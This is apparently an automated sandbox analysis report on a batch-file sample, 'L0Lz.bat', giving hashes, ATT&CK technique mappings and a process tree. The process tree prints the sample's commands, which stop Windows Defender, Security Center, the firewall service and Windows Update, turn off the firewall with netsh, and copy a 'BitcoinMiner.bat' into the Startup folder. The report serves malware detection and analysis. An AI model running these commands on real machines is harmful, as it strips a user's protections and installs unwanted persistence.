fc94130b45112bdf7fe64713eb807f4958cdcdb758c25605ad9318cd5a8e17ae

Analysis

max time kernel
66s
max time network
65s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
07/11/2026, 22:08

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
L0Lz.bat
Size 6KB
Sample261107-12pgdsvyew
SHA256 fc94130b45112bdf7fe64713eb807f4958cdcdb758c25605ad9318cd5a8e17ae
MD5 74f8a282848b8a26ceafe1f438e358e0
SHA1 007b350c49b71b47dfc8dff003980d5f8da32b3a
SHA512 3f73c734432b7999116452e673d734aa3f5fe9005efa7285c76d28a98b4c5d2620e772f421e030401ad223abbb07c6d0e79b91aa97b7464cb21e3dc0b49c5a81
SSDEEP 192:tlYUT1jLPD5mZkRr3TfLQ4/zus8joPRJRqU1jXEmo:tlY85XW
TLSH
T173E18C933D1AF621C89915C0CB68B301B106C0930DECAD8EA5B77075A16ACDBA27F7CD
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
1700	netsh.exe

Creates a file in the Startup directory 1 TTPs 2 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BitcoinMiner.bat	xcopy.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BitcoinMiner.bat	xcopy.exe

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1148	cmd.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
1968	taskkill.exe

Runs net.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1968	taskkill.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 1148 wrote to memory of 3032	1148	cmd.exe	91
PID 3032 wrote to memory of 4344	3032	net.exe	92
PID 1148 wrote to memory of 5584	1148	cmd.exe	93
PID 5584 wrote to memory of 1300	5584	net.exe	94
PID 1148 wrote to memory of 5356	1148	cmd.exe	95
PID 5356 wrote to memory of 1820	5356	net.exe	96
PID 1148 wrote to memory of 1968	1148	cmd.exe	97
PID 1148 wrote to memory of 3544	1148	cmd.exe	99
PID 3544 wrote to memory of 3052	3544	net.exe	100
PID 1148 wrote to memory of 5260	1148	cmd.exe	101
PID 5260 wrote to memory of 2420	5260	net.exe	102
PID 1148 wrote to memory of 1700	1148	cmd.exe	103
PID 1148 wrote to memory of 2964	1148	cmd.exe	104
PID 2964 wrote to memory of 4856	2964	net.exe	105
PID 1148 wrote to memory of 4976	1148	cmd.exe	106
PID 1148 wrote to memory of 3456	1148	cmd.exe	107
PID 1148 wrote to memory of 2028	1148	cmd.exe	108
PID 1148 wrote to memory of 4680	1148	cmd.exe	109

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\L0Lz.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1148
- C:\Windows\system32\net.exe
  net session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3032
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:4344
- C:\Windows\system32\net.exe
  net stop "SDRSVC"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5584
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "SDRSVC"
    3⤵
    PID:1300
- C:\Windows\system32\net.exe
  net stop "WinDefend"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5356
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "WinDefend"
    3⤵
    PID:1820
- C:\Windows\system32\taskkill.exe
  taskkill /f /t /im "MSASCui.exe"
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1968
- C:\Windows\system32\net.exe
  net stop "security center"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3544
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "security center"
    3⤵
    PID:3052
- C:\Windows\system32\net.exe
  net stop sharedaccess
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5260
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop sharedaccess
    3⤵
    PID:2420
- C:\Windows\system32\netsh.exe
  netsh firewall set opmode mode-disable
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:1700
- C:\Windows\system32\net.exe
  net stop "wuauserv"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2964
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "wuauserv"
    3⤵
    PID:4856
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo tasklist "
  2⤵
  PID:4976
- C:\Windows\system32\find.exe
  find /I "L0Lz"
  2⤵
  PID:3456
- C:\Windows\system32\xcopy.exe
  XCOPY "BitcoinMiner.bat" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
  2⤵
  - Creates a file in the Startup directory
  PID:2028
- C:\Windows\system32\xcopy.exe
  XCOPY "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BitcoinMiner.bat"
  2⤵
  PID:4680

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Credential Access

Discovery

Network Share Discovery

T1135

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

BitcoinMiner.bat

Path C:\Users\Admin\AppData\Local\Temp\BitcoinMiner.bat
Size 269B
SHA256 a45d90c80db74841afc1658c8db4566288ff21f76f89f382cd3dc675fd783f2c
MD5 f971f4ae767fafa564b3f9266027599a
SHA1 df04f7017164d35943c959a057a8f24994724ba6
SHA512 a459640d96a1abb5ee347171db77801c6e10fde2b2164288c3908c7cc5c472ed9e779993a5761c82fdc946867f1525993e75eee7112c211d1283a97d043f9bee
TLSH
T133D02B51114685B3D1602924A20F06992229F15F65E4A7640687504CE84656FE4B71E3
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads